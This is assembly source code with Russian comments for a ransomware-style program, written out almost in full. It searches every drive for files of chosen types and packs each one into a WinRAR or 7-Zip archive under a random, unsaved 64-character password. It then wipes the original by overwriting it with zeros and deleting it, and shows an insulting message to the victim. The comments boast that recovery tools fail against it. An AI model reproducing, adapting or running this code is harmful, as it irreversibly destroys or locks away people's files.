; Получаем путь к "rar.exe" - консольной утилите WinRar для архивирования файлов.
invoke GetPackerPath, addr WinrarReg1, addr WinrarReg2, addr WinrarReg3, WINRAR_PACK
test eax, eax
jne getpath
; Если WinRar установлен и путь был получен - прыгаем и едем далее.
; В обратном же случае пытаемся получить путь к "7z.exe" - аналогичная консольная программа от 7-Zip.
invoke GetPackerPath, addr SevenZipReg1, addr SevenZipReg2, addr SevenZipReg3, SEVENZIP_PACK
test eax, eax
jne getpath
; Если же и этой прораммы нет в системе - выходим, нам здесь делать нечего, система - унылое говно.
jmp ohshit
getpath:
; Выделяем память для вайпинга файлов. Так называется стирание файлов без возможности восстановления.
; Просто удалить файл - способ для криворуких, т.к. различные Лепрозории Касперского публикуют
; зиродей-методы для восстановления файлов.
invoke GlobalAlloc, GPTR, BUFFER_SIZE
.if (eax==0)
jmp ohshit
.endif
mov hmem, eax
; Вызываем процедуру поиска и обработки файлов.
call FileSearch
; Освобождаем память, выделенную под буфер для вайпинга.
invoke GlobalFree, hmem
; Показываем пользователю сообщение о том, что он криворукий дебил - взял и запустил левый ЕХЕ.
invoke MessageBox, 0, addr UserMessage, 0, 0
ohshit:
invoke ExitProcess, 0
; Процедура получения пути к архиватору. В ней нет ничего сложного, no comments.
GetPackerPath proc p1:DWORD, p2:DWORD, p3:DWORD, p4:DWORD
LOCAL ValLen :DWORD
LOCAL lpdwDisp :DWORD
LOCAL hKey :DWORD
invoke RegCreateKeyEx, HKEY_CLASSES_ROOT, p1, 0, 0, 0, KEY_READ, 0, addr hKey, addr lpdwDisp
test eax, eax
je @F
xor eax, eax
ret
@@:
mov dword ptr [ValLen], BufLen
invoke RegQueryValueEx, hKey, p2, 0, 0, addr PackerPath, addr ValLen
test eax, eax
je @F
xor eax, eax
ret
@@:
invoke RegCloseKey, hKey
; Путь в реестре хранится в таком виде: "C:\Program Files\WinRAR\WinRAR.exe" "%1".
; Поэтому его нужно пропарсить.
invoke lstrlen, addr PackerPath
dec eax
mov ecx, eax
mov esi, offset PackerPath
inc esi
mov ebx, esi
mov dword ptr [PackerPathPointer], ebx
@@:
lodsb
cmp al, '"'
je @F
loop @B
@@:
mov byte ptr [esi-1], 0
invoke PathFindFileName, ebx
mov byte ptr [eax], 0
invoke lstrcat, ebx, p3
; В переменную TypeOfPacker записывается значение - идентификатор используемого архиватора, четвертый параметр - p4
; Т.е если путь к винрару был удачно получен, пишем туда WINRAR_PACK, если к 7-Zip'y - SEVENZIP_PACK.
mov eax, dword ptr [p4]
mov byte ptr [TypeOfPacker], al
mov eax, 1
ret
GetPackerPath endp
; Процедура пакования файлов.
PackFile proc
; Генерируем для архива пароль.
call PwdGen
invoke lstrcpy, addr ArName, addr FilePathBuf
invoke PathFindExtension, addr ArName
invoke lstrcat, addr ArName, addr VirSign
mov al, byte ptr [TypeOfPacker]
cmp al, WINRAR_PACK
jne @F
invoke lstrcat, addr ArName, addr WinrarExt
invoke wsprintf, addr TmpBuf, addr WinrarMask, addr GeneratedPassword, addr ArName, addr FilePathBuf
jmp done_2
@@:
invoke lstrcat, addr ArName, addr SevenZipExt
invoke wsprintf, addr TmpBuf, addr SevenZipMask, addr GeneratedPassword, addr ArName, addr FilePathBuf
done_2:
invoke RtlZeroMemory, addr sei, sizeof sei
; Заполняем структуру SHELLEXECUTEINFO и запускаем rar.exe с парамтером командной строки,
; в котором хранится путь к файлу для шифрования, путь к выходящему файлу и параметры упаковки.
mov sei.cbSize, sizeof sei
mov sei.fMask, SEE_MASK_NOCLOSEPROCESS
mov sei.nShow, SW_HIDE
mov eax, dword ptr [PackerPathPointer]
mov sei.lpFile, eax
mov sei.lpParameters, offset TmpBuf
invoke ShellExecuteEx, addr sei
test eax, eax
jne run_good
; Если запуск апроцеса архивации неудался, выходим.
ret
run_good:
; Ждем завершения паковки.
invoke WaitForSingleObject, sei.hProcess, INFINITE
invoke CloseHandle, sei.hProcess
; Стираем файл без возможности воссановления.
call WipeFile
ret
PackFile endp
; Рекурсивная процедура поиска файлов, автор - Ct757.
find_files proc
push ebp
mov ebp,esp
sub esp,144h
lea eax,[ebp-144h]
invoke FindFirstFile,offset SearchBuf,eax
inc eax
je exit
dec eax
mov dword ptr [ebp-6h],eax
find_next:
mov eax,dword ptr [ebp-144h]
and eax,FILE_ATTRIBUTE_DIRECTORY
je found
lea eax,[ebp-118h]
invoke lstrcmp,offset fake1,eax
test eax,eax
je next
lea eax,[ebp-118h]
invoke lstrcmp,offset fake2,eax
test eax,eax
je next
invoke lstrlen,offset SearchBuf
sub eax,3
push eax
mov byte ptr [SearchBuf+eax],0
lea eax,[ebp-118h]
invoke lstrcat,offset SearchBuf,eax
invoke lstrlen,offset SearchBuf
mov dword ptr [SearchBuf+eax],'*.*\'
mov byte ptr [SearchBuf+eax+4],0
call find_files
pop eax
mov dword ptr [SearchBuf+eax-1],'*.*\'
mov byte ptr [SearchBuf+eax+3],0
jmp next
found:
lea ebx,[ebp-118h]
; Проверяем, подходит ли найденный файл нам - сверяем с расширениями.
mov ecx, dword ptr [EXTENSION_COUNT]
mov esi, offset lbl1
@@:
push ecx
invoke PathMatchSpec, ebx, esi
test eax, eax
jne @F
invoke lstrlen, esi
add esi, eax
inc esi
pop ecx
loop @B
; Если нет - ищем следующий.
jmp next
@@:
; Создаем полный путь к найденому файлу.
invoke lstrcpy, addr FilePathBuf, addr SearchBuf
invoke PathFindFileName, addr FilePathBuf
mov byte ptr [eax], 0
lea eax,[ebp-118h]
invoke lstrcat, addr FilePathBuf, eax
; Вызываем процедуру паковки файлов.
call PackFile
next:
lea eax,[ebp-144h]
invoke FindNextFile,dword ptr [ebp-6h],eax
test eax,eax
jne find_next
invoke FindClose,dword ptr [ebp-6h]
exit:
leave
ret
find_files endp
; Процедура, вызывающая поиск файлов по дискам. Т.е. она перечисляет доступные диски
; и вызывает для каждого из них find_files.
FileSearch proc
invoke SetErrorMode,SEM_FAILCRITICALERRORS
invoke GetLogicalDrives
mov ecx,25
find_drives:
mov ebx,1
shl ebx,cl
and ebx,eax
je no_disk
add cl,65
mov byte ptr SearchBuf,cl
sub cl,65
mov dword ptr SearchBuf+1,'.*\:'
mov byte ptr SearchBuf+5,'*'
mov byte ptr SearchBuf+6,0
push eax
push ecx
call find_files
pop ecx
pop eax
no_disk:
dec ecx
jge find_drives
ret
FileSearch endp
; Тут происходит генерация пароля для архива.
; Для получения случайных чисел в нужном диапазоне, вызываем GetRandom.
PwdGen proc
lea edi, GeneratedPassword
mov ecx, 64
@@:
call GetRandom
stosb
loop @B
ret
PwdGen endp
; Получаем случайное число в диапазоне [ 41h..5Ah ].
GetRandom proc
push edx
push ecx
mov ecx,5Ah
sub ecx,41h
inc ecx
push edx
push ecx
db 0Fh, 31h
xor eax,edx
xor edx,edx
mov ecx,127773
div ecx
mov ecx,eax
mov eax,16807
mul edx
mov edx,ecx
mov ecx,eax
mov eax,2836
mul edx
sub ecx,eax
xor edx,edx
mov eax,ecx
mov ecx,100000
div ecx
mov eax,edx
pop ecx
pop edx
xor edx,edx
div ecx
mov eax,edx
add eax,41h
pop ecx
pop edx
ret
GetRandom endp
; Процедура вайпинга файлов.
; Для этого сначала файл перезаписывается нулями, затем укорачивается до нулевой длины и удаляется.
; Как показали эксперименты, после такого, программы восстановления файлов нервно курят в сторонке.
WipeFile proc
LOCAL h :DWORD
LOCAL nw :DWORD
LOCAL dmod :DWORD
LOCAL towrite :DWORD
invoke CreateFile, addr FilePathBuf, GENERIC_READ or GENERIC_WRITE, FILE_SHARE_READ or FILE_SHARE_WRITE, NULL, OPEN_EXISTING, NULL, NULL
cmp eax, -1
jne @F
ret
@@:
mov h, eax
invoke SetFilePointer, h, 0, NULL, FILE_BEGIN
invoke GetFileSize, h, NULL
cmp eax, BUFFER_SIZE
jge @F
mov ecx, 1
mov dword ptr [towrite], eax
mov dword ptr [dmod], 0
jmp loop_wipe
@@:
xor edx, edx
mov ebx, BUFFER_SIZE
div ebx
mov ecx, eax
mov dword ptr [towrite], BUFFER_SIZE
mov dword ptr [dmod], edx
loop_wipe:
push ecx
invoke WriteFile, h, [hmem], [towrite], addr nw, NULL
pop ecx
loop loop_wipe
mov eax, dword ptr [dmod]
test eax, eax
je bez_ostatka
invoke WriteFile, h, [hmem], [dmod], addr nw, NULL
bez_ostatka:
invoke SetFilePointer, h, 0, NULL, FILE_BEGIN
invoke SetEndOfFile, h
invoke CloseHandle, h
invoke DeleteFile, addr FilePathBuf
ret
WipeFile endp
end start